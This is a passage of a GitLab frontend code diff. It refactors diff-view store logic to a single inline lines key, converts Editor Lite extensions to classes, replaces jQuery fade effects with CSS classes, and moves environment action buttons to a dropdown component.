+ diffFile[INLINE_DIFF_LINES_KEY].find(l => l.line_code === lineCode).hasForm = hasForm;
},
[types.ADD_CONTEXT_LINES](state, options) {
@@ -157,11 +137,7 @@ export default {
});
addContextLines({
- inlineLines: diffFile.highlighted_diff_lines,
- parallelLines: diffFile.parallel_diff_lines,
- diffViewType: window.gon?.features?.unifiedDiffLines
- ? INLINE_DIFF_VIEW_TYPE
- : state.diffViewType,
+ inlineLines: diffFile[INLINE_DIFF_LINES_KEY],
contextLines: lines,
bottom,
lineNumbers,
@@ -170,7 +146,7 @@ export default {
},
[types.ADD_COLLAPSED_DIFFS](state, { file, data }) {
- const files = prepareDiffData(data);
+ const files = prepareDiffData({ diff: data });
const [newFileData] = files.filter(f => f.file_hash === file.file_hash);
const selectedFile = state.diffFiles.find(f => f.file_hash === file.file_hash);
Object.assign(selectedFile, { ...newFileData });
@@ -219,8 +195,8 @@ export default {
state.diffFiles.forEach(file => {
if (file.file_hash === fileHash) {
- if (file.highlighted_diff_lines.length) {
- file.highlighted_diff_lines.forEach(line => {
+ if (file[INLINE_DIFF_LINES_KEY].length) {
+ file[INLINE_DIFF_LINES_KEY].forEach(line => {
Object.assign(
line,
setDiscussionsExpanded(lineCheck(line) ? mapDiscussions(line) : line),
@@ -228,25 +204,7 @@ export default {
});
}
- if (file.parallel_diff_lines.length) {
- file.parallel_diff_lines.forEach(line => {
- const left = line.left && lineCheck(line.left);
- const right = line.right && lineCheck(line.right);
-
- if (left || right) {
- Object.assign(line, {
- left: line.left ? setDiscussionsExpanded(mapDiscussions(line.left)) : null,
- right: line.right
- ? setDiscussionsExpanded(mapDiscussions(line.right, () => !left))
- : null,
- });
- }
-
- return line;
- });
- }
-
- if (!file.parallel_diff_lines.length || !file.highlighted_diff_lines.length) {
+ if (!file[INLINE_DIFF_LINES_KEY].length) {
const newDiscussions = (file.discussions || [])
.filter(d => d.id !== discussion.id)
.concat(discussion);
@@ -287,8 +245,8 @@ export default {
[types.TOGGLE_FOLDER_OPEN](state, path) {
state.treeEntries[path].opened = !state.treeEntries[path].opened;
},
- [types.TOGGLE_SHOW_TREE_LIST](state) {
- state.showTreeList = !state.showTreeList;
+ [types.SET_SHOW_TREE_LIST](state, showTreeList) {
+ state.showTreeList = showTreeList;
},
[types.VIEW_DIFF_FILE](state, fileId) {
state.currentDiffFileId = fileId;
@@ -369,31 +327,15 @@ export default {
renderFile(file);
}
},
- [types.SET_HIDDEN_VIEW_DIFF_FILE_LINES](state, { filePath, lines }) {
- const file = state.diffFiles.find(f => f.file_path === filePath);
- const hiddenDiffLinesKey =
- state.diffViewType === 'inline' ? 'parallel_diff_lines' : 'highlighted_diff_lines';
-
- file[hiddenDiffLinesKey] = lines;
- },
[types.SET_CURRENT_VIEW_DIFF_FILE_LINES](state, { filePath, lines }) {
const file = state.diffFiles.find(f => f.file_path === filePath);
- let currentDiffLinesKey;
- if (window.gon?.features?.unifiedDiffLines || state.diffViewType === 'inline') {
- currentDiffLinesKey = 'highlighted_diff_lines';
- } else {
- currentDiffLinesKey = 'parallel_diff_lines';
- }
-
- file[currentDiffLinesKey] = lines;
+ file[INLINE_DIFF_LINES_KEY] = lines;
},
[types.ADD_CURRENT_VIEW_DIFF_FILE_LINES](state, { filePath, line }) {
const file = state.diffFiles.find(f => f.file_path === filePath);
- const currentDiffLinesKey =
- state.diffViewType === 'inline' ? 'highlighted_diff_lines' : 'parallel_diff_lines';
- file[currentDiffLinesKey].push(line);
+ file[INLINE_DIFF_LINES_KEY].push(line);
},
[types.TOGGLE_DIFF_FILE_RENDERING_MORE](state, filePath) {
const file = state.diffFiles.find(f => f.file_path === filePath);
@@ -408,4 +350,7 @@ export default {
[types.SET_SHOW_SUGGEST_POPOVER](state) {
state.showSuggestPopover = false;
},
+ [types.SET_FILE_BY_FILE](state, fileByFile) {
+ state.viewDiffsFileByFile = fileByFile;
+ },
};
diff --git a/app/assets/javascripts/diffs/store/utils.js b/app/assets/javascripts/diffs/store/utils.js
index f87f57c32c3..1839df12c96 100644
--- a/app/assets/javascripts/diffs/store/utils.js
+++ b/app/assets/javascripts/diffs/store/utils.js
@@ -12,12 +12,11 @@ import {
MATCH_LINE_TYPE,
LINES_TO_BE_RENDERED_DIRECTLY,
TREE_TYPE,
- INLINE_DIFF_VIEW_TYPE,
- PARALLEL_DIFF_VIEW_TYPE,
+ INLINE_DIFF_LINES_KEY,
SHOW_WHITESPACE,
NO_SHOW_WHITESPACE,
} from '../constants';
-import { prepareRawDiffFile } from '../diff_file';
+import { prepareRawDiffFile } from '../utils/diff_file';
export const isAdded = line => ['new', 'new-nonewline'].includes(line.type);
export const isRemoved = line => ['old', 'old-nonewline'].includes(line.type);
@@ -48,7 +47,7 @@ export const parallelizeDiffLines = (diffLines, inline) => {
for (let i = 0, diffLinesLength = diffLines.length, index = 0; i < diffLinesLength; i += 1) {
const line = diffLines[i];
- if (isRemoved(line)) {
+ if (isRemoved(line) || inline) {
lines.push({
[LINE_POSITION_LEFT]: line,
[LINE_POSITION_RIGHT]: null,
@@ -60,7 +59,7 @@ export const parallelizeDiffLines = (diffLines, inline) => {
}
index += 1;
} else if (isAdded(line)) {
- if (freeRightIndex !== null && !inline) {
+ if (freeRightIndex !== null) {
// If an old line came before this without a line on the right, this
// line can be put to the right of it.
lines[freeRightIndex].right = line;
@@ -178,43 +177,16 @@ export const findIndexInInlineLines = (lines, lineNumbers) => {
);
};
-export const findIndexInParallelLines = (lines, lineNumbers) => {
- const { oldLineNumber, newLineNumber } = lineNumbers;
-
- return lines.findIndex(
- line =>
- line.left &&
- line.right &&
- line.left.old_line === oldLineNumber &&
- line.right.new_line === newLineNumber,
- );
-};
-
-const indexGettersByViewType = {
- [INLINE_DIFF_VIEW_TYPE]: findIndexInInlineLines,
- [PARALLEL_DIFF_VIEW_TYPE]: findIndexInParallelLines,
-};
-
export const getPreviousLineIndex = (diffViewType, file, lineNumbers) => {
- const findIndex = indexGettersByViewType[diffViewType];
- const lines = {
- [INLINE_DIFF_VIEW_TYPE]: file.highlighted_diff_lines,
- [PARALLEL_DIFF_VIEW_TYPE]: file.parallel_diff_lines,
- };
-
- return findIndex && findIndex(lines[diffViewType], lineNumbers);
+ return findIndexInInlineLines(file[INLINE_DIFF_LINES_KEY], lineNumbers);
};
export function removeMatchLine(diffFile, lineNumbers, bottom) {
- const indexForInline = findIndexInInlineLines(diffFile.highlighted_diff_lines, lineNumbers);
- const indexForParallel = findIndexInParallelLines(diffFile.parallel_diff_lines, lineNumbers);
+ const indexForInline = findIndexInInlineLines(diffFile[INLINE_DIFF_LINES_KEY], lineNumbers);
const factor = bottom ? 1 : -1;
if (indexForInline > -1) {
- diffFile.highlighted_diff_lines.splice(indexForInline + factor, 1);
- }
- if (indexForParallel > -1) {
- diffFile.parallel_diff_lines.splice(indexForParallel + factor, 1);
+ diffFile[INLINE_DIFF_LINES_KEY].splice(indexForInline + factor, 1);
}
}
@@ -257,24 +229,6 @@ export function addLineReferences(lines, lineNumbers, bottom, isExpandDown, next
return linesWithNumbers;
}
-function addParallelContextLines(options) {
- const { parallelLines, contextLines, lineNumbers, isExpandDown } = options;
- const normalizedParallelLines = contextLines.map(line => ({
- left: line,
- right: line,
- line_code: line.line_code,
- }));
- const factor = isExpandDown ? 1 : 0;
-
- if (!isExpandDown && options.bottom) {
- parallelLines.push(...normalizedParallelLines);
- } else {
- const parallelIndex = findIndexInParallelLines(parallelLines, lineNumbers);
-
- parallelLines.splice(parallelIndex + factor, 0, ...normalizedParallelLines);
- }
-}
-
function addInlineContextLines(options) {
const { inlineLines, contextLines, lineNumbers, isExpandDown } = options;
const factor = isExpandDown ? 1 : 0;
@@ -289,16 +243,7 @@ function addInlineContextLines(options) {
}
export function addContextLines(options) {
- const { diffViewType } = options;
- const contextLineHandlers = {
- [INLINE_DIFF_VIEW_TYPE]: addInlineContextLines,
- [PARALLEL_DIFF_VIEW_TYPE]: addParallelContextLines,
- };
- const contextLineHandler = contextLineHandlers[diffViewType];
-
- if (contextLineHandler) {
- contextLineHandler(options);
- }
+ addInlineContextLines(options);
}
/**
@@ -324,41 +269,29 @@ export function trimFirstCharOfLineContent(line = {}) {
return parsedLine;
}
-function getLineCode({ left, right }, index) {
- if (left && left.line_code) {
- return left.line_code;
- } else if (right && right.line_code) {
- return right.line_code;
- }
- return index;
-}
-
function diffFileUniqueId(file) {
return `${file.content_sha}-${file.file_hash}`;
}
function mergeTwoFiles(target, source) {
- const originalInline = target.highlighted_diff_lines;
- const originalParallel = target.parallel_diff_lines;
+ const originalInline = target[INLINE_DIFF_LINES_KEY];
const missingInline = !originalInline.length;
- const missingParallel = !originalParallel.length;
return {
...target,
- highlighted_diff_lines: missingInline ? source.highlighted_diff_lines : originalInline,
- parallel_diff_lines: missingParallel ? source.parallel_diff_lines : originalParallel,
+ [INLINE_DIFF_LINES_KEY]: missingInline ? source[INLINE_DIFF_LINES_KEY] : originalInline,
+ parallel_diff_lines: null,
renderIt: source.renderIt,
collapsed: source.collapsed,
};
}
function ensureBasicDiffFileLines(file) {
- const missingInline = !file.highlighted_diff_lines;
- const missingParallel = !file.parallel_diff_lines || window.gon?.features?.unifiedDiffLines;
+ const missingInline = !file[INLINE_DIFF_LINES_KEY];
Object.assign(file, {
- highlighted_diff_lines: missingInline ? [] : file.highlighted_diff_lines,
- parallel_diff_lines: missingParallel ? [] : file.parallel_diff_lines,
+ [INLINE_DIFF_LINES_KEY]: missingInline ? [] : file[INLINE_DIFF_LINES_KEY],
+ parallel_diff_lines: null,
});
return file;
@@ -382,7 +315,7 @@ function prepareLine(line, file) {
}
}
-export function prepareLineForRenamedFile({ line, diffViewType, diffFile, index = 0 }) {
+export function prepareLineForRenamedFile({ line, diffFile, index = 0 }) {
/*
Renamed files are a little different than other diffs, which
is why this is distinct from `prepareDiffFileLines` below.
@@ -407,48 +340,23 @@ export function prepareLineForRenamedFile({ line, diffViewType, diffFile, index
prepareLine(cleanLine, diffFile); // WARNING: In-Place Mutations!
- if (diffViewType === PARALLEL_DIFF_VIEW_TYPE) {
- return {
- left: { ...cleanLine },
- right: { ...cleanLine },
- line_code: cleanLine.line_code,
- };
- }
-
return cleanLine;
}
function prepareDiffFileLines(file) {
- const inlineLines = file.highlighted_diff_lines;
- const parallelLines = file.parallel_diff_lines;
- let parallelLinesCount = 0;
+ const inlineLines = file[INLINE_DIFF_LINES_KEY];
inlineLines.forEach(line => prepareLine(line, file)); // WARNING: In-Place Mutations!
- parallelLines.forEach((line, index) => {
- Object.assign(line, { line_code: getLineCode(line, index) });
-
- if (line.left) {
- parallelLinesCount += 1;
- prepareLine(line.left, file); // WARNING: In-Place Mutations!
- }
-
- if (line.right) {
- parallelLinesCount += 1;
- prepareLine(line.right, file); // WARNING: In-Place Mutations!
- }
- });
-
Object.assign(file, {
inlineLinesCount: inlineLines.length,
- parallelLinesCount,
});
return file;
}
function getVisibleDiffLines(file) {
- return Math.max(file.inlineLinesCount, file.parallelLinesCount);
+ return file.inlineLinesCount;
}
function finalizeDiffFile(file) {
@@ -478,9 +386,9 @@ function deduplicateFilesList(files) {
return Object.values(dedupedFiles);
}
-export function prepareDiffData(diff, priorFiles = []) {
+export function prepareDiffData({ diff, priorFiles = [], meta = false }) {
const cleanedFiles = (diff.diff_files || [])
- .map((file, index, allFiles) => prepareRawDiffFile({ file, allFiles }))
+ .map((file, index, allFiles) => prepareRawDiffFile({ file, allFiles, meta }))
.map(ensureBasicDiffFileLines)
.map(prepareDiffFileLines)
.map(finalizeDiffFile);
@@ -490,43 +398,14 @@ export function prepareDiffData(diff, priorFiles = []) {
export function getDiffPositionByLineCode(diffFiles) {
let lines = [];
- const hasInlineDiffs = diffFiles.some(file => file.highlighted_diff_lines.length > 0);
-
- if (hasInlineDiffs) {
- // In either of these cases, we can use `highlighted_diff_lines` because
- // that will include all of the parallel diff lines, too
-
- lines = diffFiles.reduce((acc, diffFile) => {
- diffFile.highlighted_diff_lines.forEach(line => {
- acc.push({ file: diffFile, line });
- });
-
- return acc;
- }, []);
- } else {
- // If we're in single diff view mode and the inline lines haven't been
- // loaded yet, we need to parse the parallel lines
-
- lines = diffFiles.reduce((acc, diffFile) => {
- diffFile.parallel_diff_lines.forEach(pair => {
- // It's possible for a parallel line to have an opposite line that doesn't exist
- // For example: *deleted* lines will have `null` right lines, while
- // *added* lines will have `null` left lines.
- // So we have to check each line before we push it onto the array so we're not
- // pushing null line diffs
-
- if (pair.left) {
- acc.push({ file: diffFile, line: pair.left });
- }
- if (pair.right) {
- acc.push({ file: diffFile, line: pair.right });
- }
- });
+ lines = diffFiles.reduce((acc, diffFile) => {
+ diffFile[INLINE_DIFF_LINES_KEY].forEach(line => {
+ acc.push({ file: diffFile, line });
+ });
- return acc;
- }, []);
- }
+ return acc;
+ }, []);
return lines.reduce((acc, { file, line }) => {
if (line.line_code) {
@@ -739,24 +618,10 @@ export const convertExpandLines = ({
export const idleCallback = cb => requestIdleCallback(cb);
function getLinesFromFileByLineCode(file, lineCode) {
- const parallelLines = file.parallel_diff_lines;
- const inlineLines = file.highlighted_diff_lines;
+ const inlineLines = file[INLINE_DIFF_LINES_KEY];
const matchesCode = line => line.line_code === lineCode;
- return [
- ...parallelLines.reduce((acc, line) => {
- if (line.left) {
- acc.push(line.left);
- }
-
- if (line.right) {
- acc.push(line.right);
- }
-
- return acc;
- }, []),
- ...inlineLines,
- ].filter(matchesCode);
+ return inlineLines.filter(matchesCode);
}
export const updateLineInFile = (selectedFile, lineCode, updateFn) => {
@@ -771,12 +636,7 @@ export const allDiscussionWrappersExpanded = diff => {
}
};
- diff.parallel_diff_lines.forEach(line => {
- changeExpandedResult(line.left);
- changeExpandedResult(line.right);
- });
-
- diff.highlighted_diff_lines.forEach(line => {
+ diff[INLINE_DIFF_LINES_KEY].forEach(line => {
changeExpandedResult(line);
});
diff --git a/app/assets/javascripts/diffs/utils/diff_file.js b/app/assets/javascripts/diffs/utils/diff_file.js
new file mode 100644
index 00000000000..69d0e49e501
--- /dev/null
+++ b/app/assets/javascripts/diffs/utils/diff_file.js
@@ -0,0 +1,75 @@
+import {
+ DIFF_FILE_SYMLINK_MODE,
+ DIFF_FILE_DELETED_MODE,
+ DIFF_FILE_MANUAL_COLLAPSE,
+ DIFF_FILE_AUTOMATIC_COLLAPSE,
+} from '../constants';
+import { uuids } from './uuids';
+
+function fileSymlinkInformation(file, fileList) {
+ const duplicates = fileList.filter(iteratedFile => iteratedFile.file_hash === file.file_hash);
+ const includesSymlink = duplicates.some(iteratedFile => {
+ return [iteratedFile.a_mode, iteratedFile.b_mode].includes(DIFF_FILE_SYMLINK_MODE);
+ });
+ const brokenSymlinkScenario = duplicates.length > 1 && includesSymlink;
+
+ return (
+ brokenSymlinkScenario && {
+ replaced: file.b_mode === DIFF_FILE_DELETED_MODE,
+ wasSymbolic: file.a_mode === DIFF_FILE_SYMLINK_MODE,
+ isSymbolic: file.b_mode === DIFF_FILE_SYMLINK_MODE,
+ wasReal: ![DIFF_FILE_SYMLINK_MODE, DIFF_FILE_DELETED_MODE].includes(file.a_mode),
+ isReal: ![DIFF_FILE_SYMLINK_MODE, DIFF_FILE_DELETED_MODE].includes(file.b_mode),
+ }
+ );
+}
+
+function collapsed(file) {
+ const viewer = file.viewer || {};
+
+ return {
+ automaticallyCollapsed: viewer.automaticallyCollapsed || viewer.collapsed || false,
+ manuallyCollapsed: null,
+ };
+}
+
+function identifier(file) {
+ return uuids({
+ seeds: [file.file_identifier_hash, file.blob?.id],
+ })[0];
+}
+
+export function prepareRawDiffFile({ file, allFiles, meta = false }) {
+ const additionalProperties = {
+ brokenSymlink: fileSymlinkInformation(file, allFiles),
+ viewer: {
+ ...file.viewer,
+ ...collapsed(file),
+ },
+ };
+
+ // It's possible, but not confirmed, that `content_sha` isn't available sometimes
+ // See: https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49506#note_464692057
+ // We don't want duplicate IDs if that's the case, so we just don't assign an ID
+ if (!meta && file.blob?.id) {
+ additionalProperties.id = identifier(file);
+ }
+
+ return Object.assign(file, additionalProperties);
+}
+
+export function collapsedType(file) {
+ const isManual = typeof file.viewer?.manuallyCollapsed === 'boolean';
+
+ return isManual ? DIFF_FILE_MANUAL_COLLAPSE : DIFF_FILE_AUTOMATIC_COLLAPSE;
+}
+
+export function isCollapsed(file) {
+ const type = collapsedType(file);
+ const collapsedStates = {
+ [DIFF_FILE_AUTOMATIC_COLLAPSE]: file.viewer?.automaticallyCollapsed || false,
+ [DIFF_FILE_MANUAL_COLLAPSE]: file.viewer?.manuallyCollapsed,
+ };
+
+ return collapsedStates[type];
+}
diff --git a/app/assets/javascripts/diffs/utils/preferences.js b/app/assets/javascripts/diffs/utils/preferences.js
new file mode 100644
index 00000000000..e440de3350a
--- /dev/null
+++ b/app/assets/javascripts/diffs/utils/preferences.js
@@ -0,0 +1,22 @@
+import Cookies from 'js-cookie';
+import { getParameterValues } from '~/lib/utils/url_utility';
+
+import { DIFF_FILE_BY_FILE_COOKIE_NAME, DIFF_VIEW_FILE_BY_FILE } from '../constants';
+
+export function fileByFile(pref = false) {
+ const search = getParameterValues(DIFF_FILE_BY_FILE_COOKIE_NAME)?.[0];
+ const cookie = Cookies.get(DIFF_FILE_BY_FILE_COOKIE_NAME);
+ let viewFileByFile = pref;
+
+ // use the cookie first, if it exists
+ if (cookie) {
+ viewFileByFile = cookie === DIFF_VIEW_FILE_BY_FILE;
+ }
+
+ // the search parameter of the URL should override, if it exists
+ if (search) {
+ viewFileByFile = search === DIFF_VIEW_FILE_BY_FILE;
+ }
+
+ return viewFileByFile;
+}
diff --git a/app/assets/javascripts/due_date_select.js b/app/assets/javascripts/due_date_select.js
index 5674cc8495d..ffb5232ca75 100644
--- a/app/assets/javascripts/due_date_select.js
+++ b/app/assets/javascripts/due_date_select.js
@@ -119,20 +119,18 @@ class DueDateSelect {
}
updateIssueBoardIssue() {
- // eslint-disable-next-line no-jquery/no-fade
- this.$loading.fadeIn();
+ this.$loading.removeClass('gl-display-none');
this.$dropdown.trigger('loading.gl.dropdown');
this.$selectbox.hide();
this.$value.css('display', '');
- const fadeOutLoader = () => {
- // eslint-disable-next-line no-jquery/no-fade
- this.$loading.fadeOut();
+ const hideLoader = () => {
+ this.$loading.addClass('gl-display-none');
};
boardsStore.detail.issue
.update(this.$dropdown.attr('data-issue-update'))
- .then(fadeOutLoader)
- .catch(fadeOutLoader);
+ .then(hideLoader)
+ .catch(hideLoader);
}
submitSelectedDate(isDropdown) {
@@ -140,8 +138,7 @@ class DueDateSelect {
const hasDueDate = this.displayedDate !== __('None');
const displayedDateStyle = hasDueDate ? 'bold' : 'no-value';
- // eslint-disable-next-line no-jquery/no-fade
- this.$loading.removeClass('hidden').fadeIn();
+ this.$loading.removeClass('gl-display-none');
if (isDropdown) {
this.$dropdown.trigger('loading.gl.dropdown');
@@ -164,8 +161,7 @@ class DueDateSelect {
}
this.$sidebarCollapsedValue.attr('data-original-title', tooltipText);
- // eslint-disable-next-line no-jquery/no-fade
- return this.$loading.fadeOut();
+ return this.$loading.addClass('gl-display-none');
});
}
}
@@ -211,7 +207,8 @@ export default class DueDateSelectors {
initIssuableSelect() {
const $loading = $('.js-issuable-update .due_date')
.find('.block-loading')
- .hide();
+ .removeClass('hidden')
+ .addClass('gl-display-none');
$('.js-due-date-select').each((i, dropdown) => {
const $dropdown = $(dropdown);
diff --git a/app/assets/javascripts/editor/constants.js b/app/assets/javascripts/editor/constants.js
index b02eb37206a..d6f87872bde 100644
--- a/app/assets/javascripts/editor/constants.js
+++ b/app/assets/javascripts/editor/constants.js
@@ -6,3 +6,7 @@ export const EDITOR_LITE_INSTANCE_ERROR_NO_EL = __(
export const URI_PREFIX = 'gitlab';
export const CONTENT_UPDATE_DEBOUNCE = 250;
+
+export const ERROR_INSTANCE_REQUIRED_FOR_EXTENSION = __(
+ 'Editor Lite instance is required to set up an extension.',
+);
diff --git a/app/assets/javascripts/editor/editor_file_template_ext.js b/app/assets/javascripts/editor/editor_file_template_ext.js
index 343908b831d..f5474318447 100644
--- a/app/assets/javascripts/editor/editor_file_template_ext.js
+++ b/app/assets/javascripts/editor/editor_file_template_ext.js
@@ -1,7 +1,8 @@
import { Position } from 'monaco-editor';
+import { EditorLiteExtension } from './editor_lite_extension_base';
-export default {
+export class FileTemplateExtension extends EditorLiteExtension {
navigateFileStart() {
this.setPosition(new Position(1, 1));
- },
-};
+ }
+}
diff --git a/app/assets/javascripts/editor/editor_lite.js b/app/assets/javascripts/editor/editor_lite.js
index e7535c211db..2bd1cdc84d0 100644
--- a/app/assets/javascripts/editor/editor_lite.js
+++ b/app/assets/javascripts/editor/editor_lite.js
@@ -8,7 +8,7 @@ import { clearDomElement } from './utils';
import { EDITOR_LITE_INSTANCE_ERROR_NO_EL, URI_PREFIX } from './constants';
import { uuids } from '~/diffs/utils/uuids';
-export default class Editor {
+export default class EditorLite {
constructor(options = {}) {
this.instances = [];
this.options = {
@@ -17,7 +17,7 @@ export default class Editor {
...options,
};
- Editor.setupMonacoTheme();
+ EditorLite.setupMonacoTheme();
registerLanguages(...languages);
}
@@ -54,12 +54,25 @@ export default class Editor {
extensionsArray.forEach(ext => {
const prefix = ext.includes('/') ? '' : 'editor/';
const trimmedExt = ext.replace(/^\//, '').trim();
- Editor.pushToImportsArray(promises, `~/${prefix}${trimmedExt}`);
+ EditorLite.pushToImportsArray(promises, `~/${prefix}${trimmedExt}`);
});
return Promise.all(promises);
}
+ static mixIntoInstance(source, inst) {
+ if (!inst) {
+ return;
+ }
+ const isClassInstance = source.constructor.prototype !== Object.prototype;
+ const sanitizedSource = isClassInstance ? source.constructor.prototype : source;
+ Object.getOwnPropertyNames(sanitizedSource).forEach(prop => {
+ if (prop !== 'constructor') {
+ Object.assign(inst, { [prop]: source[prop] });
+ }
+ });
+ }
+
/**
* Creates a monaco instance with the given options.
*
@@ -101,10 +114,10 @@ export default class Editor {
this.instances.splice(index, 1);
model.dispose();
});
- instance.updateModelLanguage = path => Editor.updateModelLanguage(path, instance);
+ instance.updateModelLanguage = path => EditorLite.updateModelLanguage(path, instance);
instance.use = args => this.use(args, instance);
- Editor.loadExtensions(extensions, instance)
+ EditorLite.loadExtensions(extensions, instance)
.then(modules => {
if (modules) {
modules.forEach(module => {
@@ -129,10 +142,17 @@ export default class Editor {
use(exts = [], instance = null) {
const extensions = Array.isArray(exts) ? exts : [exts];
+ const initExtensions = inst => {
+ extensions.forEach(extension => {
+ EditorLite.mixIntoInstance(extension, inst);
+ });
+ };
if (instance) {
- Object.assign(instance, ...extensions);
+ initExtensions(instance);
} else {
- this.instances.forEach(inst => Object.assign(inst, ...extensions));
+ this.instances.forEach(inst => {
+ initExtensions(inst);
+ });
}
}
}
diff --git a/app/assets/javascripts/editor/editor_lite_extension_base.js b/app/assets/javascripts/editor/editor_lite_extension_base.js
new file mode 100644
index 00000000000..b8d87fa4969
--- /dev/null
+++ b/app/assets/javascripts/editor/editor_lite_extension_base.js
@@ -0,0 +1,11 @@
+import { ERROR_INSTANCE_REQUIRED_FOR_EXTENSION } from './constants';
+
+export class EditorLiteExtension {
+ constructor({ instance, ...options } = {}) {
+ if (instance) {
+ Object.assign(instance, options);
+ } else if (Object.entries(options).length) {
+ throw new Error(ERROR_INSTANCE_REQUIRED_FOR_EXTENSION);
+ }
+ }
+}
diff --git a/app/assets/javascripts/editor/editor_markdown_ext.js b/app/assets/javascripts/editor/editor_markdown_ext.js
index c46f5736912..19e0037c175 100644
--- a/app/assets/javascripts/editor/editor_markdown_ext.js
+++ b/app/assets/javascripts/editor/editor_markdown_ext.js
@@ -1,4 +1,6 @@
-export default {
+import { EditorLiteExtension } from './editor_lite_extension_base';
+
+export class EditorMarkdownExtension extends EditorLiteExtension {
getSelectedText(selection = this.getSelection()) {
const { startLineNumber, endLineNumber, startColumn, endColumn } = selection;
const valArray = this.getValue().split('\n');
@@ -18,19 +20,19 @@ export default {
: [startLineText, endLineText].join('\n');
}
return text;
- },
+ }
replaceSelectedText(text, select = undefined) {
const forceMoveMarkers = !select;
this.executeEdits('', [{ range: this.getSelection(), text, forceMoveMarkers }]);
- },
+ }
moveCursor(dx = 0, dy = 0) {
const pos = this.getPosition();
pos.column += dx;
pos.lineNumber += dy;
this.setPosition(pos);
- },
+ }
/**
* Adjust existing selection to select text within the original selection.
@@ -91,5 +93,5 @@ export default {
.setEndPosition(newEndLineNumber, newEndColumn);
this.setSelection(newSelection);
- },
-};
+ }
+}
diff --git a/app/assets/javascripts/environments/components/environment_actions.vue b/app/assets/javascripts/environments/components/environment_actions.vue
index bc35a07fe4a..2192d456861 100644
--- a/app/assets/javascripts/environments/components/environment_actions.vue
+++ b/app/assets/javascripts/environments/components/environment_actions.vue
@@ -1,5 +1,5 @@
<script>
-import { GlButton, GlIcon, GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
+import { GlDropdown, GlDropdownItem, GlIcon, GlLoadingIcon, GlTooltipDirective } from '@gitlab/ui';
import { __, s__, sprintf } from '~/locale';
import { formatTime } from '~/lib/utils/datetime_utility';
import eventHub from '../event_hub';
@@ -9,7 +9,8 @@ export default {
GlTooltip: GlTooltipDirective,
},
components: {
- GlButton,
+ GlDropdown,
+ GlDropdownItem,
GlIcon,
GlLoadingIcon,
},
@@ -35,7 +36,7 @@ export default {
if (action.scheduledAt) {
const confirmationMessage = sprintf(
s__(
- "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes.",
+ 'DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes.',
),
{ jobName: action.name },
);
@@ -67,40 +68,32 @@ export default {
};
</script>
<template>
- <div class="btn-group" role="group">
- <gl-button
- v-gl-tooltip
- :title="title"
- :aria-label="title"
- :disabled="isLoading"
- class="dropdown dropdown-new js-environment-actions-dropdown"
- data-container="body"
- data-toggle="dropdown"
- data-testid="environment-actions-button"
+ <gl-dropdown
+ v-gl-tooltip
+ :title="title"
+ :aria-label="title"
+ :disabled="isLoading"
+ right
+ data-container="body"
+ data-testid="environment-actions-button"
+ >
+ <template #button-content>
+ <gl-icon name="play" />
+ <gl-icon name="chevron-down" />
+ <gl-loading-icon v-if="isLoading" />
+ </template>
+ <gl-dropdown-item
+ v-for="(action, i) in actions"
+ :key="i"
+ :disabled="isActionDisabled(action)"
+ data-testid="manual-action-link"
+ @click="onClickAction(action)"
>
- <span>
- <gl-icon name="play" />
- <gl-icon name="chevron-down" />
- <gl-loading-icon v-if="isLoading" />
+ <span class="gl-flex-fill-1">{{ action.name }}</span>
+ <span v-if="action.scheduledAt" class="gl-text-gray-500 float-right">
+ <gl-icon name="clock" />
+ {{ remainingTime(action) }}
</span>
- </gl-button>
-
- <ul class="dropdown-menu dropdown-menu-right">
- <li v-for="(action, i) in actions" :key="i" class="gl-display-flex">
- <gl-button
- :class="{ disabled: isActionDisabled(action) }"
- :disabled="isActionDisabled(action)"
- variant="link"
- class="js-manual-action-link gl-flex-fill-1"
- @click="onClickAction(action)"
- >
- <span class="gl-flex-fill-1">{{ action.name }}</span>
- <span v-if="action.scheduledAt" class="text-secondary float-right">
- <gl-icon name="clock" />
- {{ remainingTime(action) }}
- </span>
- </gl-button>
- </li>
- </ul>
- </div>
+ </gl-dropdown-item>
+ </gl-dropdown>
</template>
diff --git a/app/assets/javascripts/environments/components/environment_item.vue b/app/assets/javascripts/environments/components/environment_item.vue
index 48e81b168ec..347828888dc 100644
--- a/app/assets/javascripts/environments/components/environment_item.vue
+++ b/app/assets/javascripts/environments/components/environment_item.vue
@@ -1,13 +1,14 @@
<script>
/* eslint-disable @gitlab/vue-require-i18n-strings */
import { isEmpty } from 'lodash';
-import { GlTooltipDirective, GlIcon } from '@gitlab/ui';
-import { __, sprintf } from '~/locale';
+import { GlTooltipDirective, GlIcon, GlLink } from '@gitlab/ui';
+import { __, s__, sprintf } from '~/locale';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import timeagoMixin from '~/vue_shared/mixins/timeago';
import UserAvatarLink from '~/vue_shared/components/user_avatar/user_avatar_link.vue';
import CommitComponent from '~/vue_shared/components/commit.vue';
import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import CiIcon from '~/vue_shared/components/ci_icon.vue';
import eventHub from '../event_hub';
import ActionsComponent from './environment_actions.vue';
import ExternalUrlComponent from './environment_external_url.vue';
@@ -30,6 +31,7 @@ export default {
CommitComponent,
ExternalUrlComponent,
GlIcon,
+ GlLink,
MonitoringButtonComponent,
PinComponent,
DeleteComponent,
@@ -38,6 +40,7 @@ export default {
TerminalButtonComponent,
TooltipOnTruncate,
UserAvatarLink,
+ CiIcon,
},
directives: {
GlTooltip: GlTooltipDirective,
@@ -81,6 +84,24 @@ export default {
},
/**
+ * @returns {Object|Undefined} The `upcoming_deployment` object if it exists.
+ * Otherwise, `undefined`.
+ */
+ upcomingDeployment() {
+ return this.model?.upcoming_deployment;
+ },
+
+ /**
+ * @returns {String} Text that will be shown in the tooltip when
+ * the user hovers over the upcoming deployment's status icon.
+ */
+ upcomingDeploymentTooltipText() {
+ return sprintf(s__('Environments|Deployment %{status}'), {
+ status: this.upcomingDeployment.deployable.status.text,
+ });
+ },
+
+ /**
* Checkes whether the row displayed is a folder.
*
* @returns {Boolean}
@@ -235,6 +256,18 @@ export default {
},
/**
+ * Same as `userImageAltDescription`, but for the
+ * upcoming deployment's user
+ *
+ * @returns {String}
+ */
+ upcomingDeploymentUserImageAltDescription() {
+ return sprintf(__("%{username}'s avatar"), {
+ username: this.upcomingDeployment.user.username,
+ });
+ },
+
+ /**
* If provided, returns the commit tag.
*
* @returns {String|Undefined}
